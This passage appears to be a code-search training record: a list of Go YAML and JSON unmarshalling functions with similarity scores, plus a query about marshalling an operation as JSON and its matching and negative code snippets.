{\n\tgenericOutputs := []interface{}{}\n\tif err := unmarshal(&genericOutputs); err != nil {\n\t\treturn err\n\t}\n\n\toutputConfs, err := parseOutputConfsWithDefaults(genericOutputs)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*b = outputConfs\n\treturn nil\n}", "func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Z struct {\n\t\tS *string `json:\"s\"`\n\t\tI *int32 `json:\"iVal\"`\n\t}\n\tvar dec Z\n\tif err := unmarshal(&dec); err != nil {\n\t\treturn err\n\t}\n\tif dec.S != nil {\n\t\tz.S = *dec.S\n\t}\n\tif dec.I != nil {\n\t\tz.I = *dec.I\n\t}\n\treturn nil\n}", "func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \":\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}", "func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}", "func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}", "func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (v *Int8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val int8\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\tv.Val = val\n\tv.IsAssigned = true\n\treturn nil\n}", "func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}", "func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}", "func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}", "func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}", "func Unmarshal(y []byte, o interface{}, opts ...JSONOpt) error {\n\treturn yamlUnmarshal(y, o, false, opts...)\n}", "func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}", "func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = dur\n\treturn nil\n}", "func (r *HTTPOrBool) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.HTTP); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.HTTP.IsEmpty() {\n\t\t// Unmarshalled successfully to r.HTTP, unset r.Enabled, and return.\n\t\tr.Enabled = nil\n\t\t// this assignment lets us treat the main listener rule and additional listener rules equally\n\t\t// because we eliminate the need for TargetContainerCamelCase by assigning its value to TargetContainer.\n\t\tif r.TargetContainerCamelCase != nil && r.Main.TargetContainer == nil {\n\t\t\tr.Main.TargetContainer = r.TargetContainerCamelCase\n\t\t\tr.TargetContainerCamelCase = nil\n\t\t}\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Enabled); err != nil {\n\t\treturn errors.New(`cannot marshal \"http\" field into bool or map`)\n\t}\n\treturn nil\n}", "func (c *OpsGenieConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultOpsGenieConfig\n\ttype plain OpsGenieConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.APIKey == \"\" {\n\t\treturn fmt.Errorf(\"missing API key in OpsGenie config\")\n\t}\n\treturn checkOverflow(c.XXX, \"opsgenie config\")\n}", "func (i *ChannelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ChannelNameString(s)\n\treturn err\n}", "func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}", "func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar v interface{}\n\terr := unmarshal(&v)\n\tif err != nil {\n\t\treturn err\n\t}\n\td.Duration, err = durationFromInterface(v)\n\tif d.Duration < 0 {\n\t\td.Duration *= -1\n\t}\n\treturn err\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (c *NamespaceCondition) UnmarshalFromYaml(data []byte) error {\n\treturn yaml.Unmarshal(data, c)\n}", "func RunYaml(cmd *cobra.Command, args []string) {\n\tc := LoadOperatorConf(cmd)\n\tp := printers.YAMLPrinter{}\n\tutil.Panic(p.PrintObj(c.NS, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SA, os.Stdout))\n\tutil.Panic(p.PrintObj(c.Role, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBinding, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SAEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBindingEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRole, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRoleBinding, os.Stdout))\n\tnoDeploy, _ := cmd.Flags().GetBool(\"no-deploy\")\n\tif !noDeploy {\n\t\tutil.Panic(p.PrintObj(c.Deployment, os.Stdout))\n\t}\n}", "func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}", "func (c *Count) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}", "func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}", "func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: <string>\n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}", "func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}", "func (m *BootstrapMode) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\n\t// If unspecified, use default mode.\n\tif str == \"\" {\n\t\t*m = DefaultBootstrapMode\n\t\treturn nil\n\t}\n\n\tfor _, valid := range validBootstrapModes {\n\t\tif str == valid.String() {\n\t\t\t*m = valid\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn fmt.Errorf(\"invalid BootstrapMode '%s' valid types are: %s\",\n\t\tstr, validBootstrapModes)\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}", "func (c *NodeSelectorCondition) UnmarshalFromYaml(data []byte) error {\n\treturn yaml.Unmarshal(data, c)\n}" ]
[ "0.73864573", "0.73274785", "0.7163474", "0.71021444", "0.7006515", "0.69783133", "0.6936093", "0.6851522", "0.6827298", "0.6824854", "0.6752507", "0.6741919", "0.6741919", "0.6733541", "0.6698918", "0.6693369", "0.667845", "0.6660146", "0.6655898", "0.6630511", "0.6605015", "0.6594566", "0.658278", "0.65805", "0.6573003", "0.65647495", "0.65452474", "0.65405744", "0.65233505", "0.6489791", "0.6479213", "0.6457237", "0.6455163", "0.6454465", "0.64503586", "0.64302856", "0.64251494", "0.64128405", "0.64115673", "0.64022815", "0.6381866", "0.63762254", "0.63733727", "0.637139", "0.63653857", "0.633227", "0.6327555", "0.6315321", "0.63047385", "0.63001287", "0.6298107", "0.62961984", "0.62893903", "0.6270783", "0.62637717", "0.6260668", "0.62389094", "0.62191695", "0.62182707", "0.6217084", "0.6214952", "0.6205181", "0.62049055", "0.62021387", "0.6192464", "0.61864865", "0.6183731", "0.61798656", "0.616852", "0.6164975", "0.6164975", "0.6158465", "0.6153548", "0.6139383", "0.6126508", "0.6106662", "0.6104605", "0.6097517", "0.60810417", "0.607884", "0.60667056", "0.6061715", "0.6052034", "0.60490096", "0.60441506", "0.6035884", "0.6031201", "0.6030181", "0.60273147", "0.60148984", "0.60100806", "0.60099506", "0.60044026", "0.6002691", "0.59948903", "0.5993206", "0.59931594", "0.5987295", "0.5980696", "0.5979161" ]
0.7701375
0
MarshalJSON will marshal an operation as JSON
func (o Op) MarshalJSON() ([]byte, error) { return json.Marshal(map[string]interface{}{ o.Type(): o.OpApplier, }) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *Operation) Marshal() ([]byte, error) {\n\treturn json.Marshal(op)\n}", "func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (s *Operation) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(*s)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.Display != nil {\n\t\tobjectMap[\"display\"] = o.Display\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.Display != nil {\n\t\tobjectMap[\"display\"] = o.Display\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (insert InsertOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(insert.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase insert.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tRow Row `json:\"row\"`\n\t\tUUIDName ID `json:\"uuid-name,omitempty\"`\n\t}{\n\t\tOp: insert.Op(),\n\t\tTable: insert.Table,\n\t\tRow: insert.Row,\n\t\tUUIDName: insert.UUIDName,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(mutate.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(mutate.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase len(mutate.Mutations) == 0:\n\t\treturn nil, errors.New(\"Mutations field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range mutate.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\t// validate mutations\n\tfor _, mutation := range mutate.Mutations {\n\t\tif !mutation.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid mutation: %v\", mutation)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tMutations []Mutation `json:\"mutations\"`\n\t}{\n\t\tOp: mutate.Op(),\n\t\tTable: mutate.Table,\n\t\tWhere: mutate.Where,\n\t\tMutations: mutate.Mutations,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tpbo.Kind = KindPropertyBatchOperation\n\tobjectMap := make(map[string]interface{})\n\tif pbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = pbo.PropertyName\n\t}\n\tif pbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tppbo.Kind = KindPut\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = ppbo.Value\n\tif ppbo.CustomTypeID != nil {\n\t\tobjectMap[\"CustomTypeId\"] = ppbo.CustomTypeID\n\t}\n\tif ppbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = ppbo.PropertyName\n\t}\n\tif ppbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = ppbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o Operations) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.NextLink != nil {\n\t\tobjectMap[\"nextLink\"] = o.NextLink\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (v bulkUpdateRequestCommandOp) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson1ed00e60EncodeGithubComOlivereElasticV7(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (o OperationsDefinition) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"type\", o.Type)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (t OperationResult) 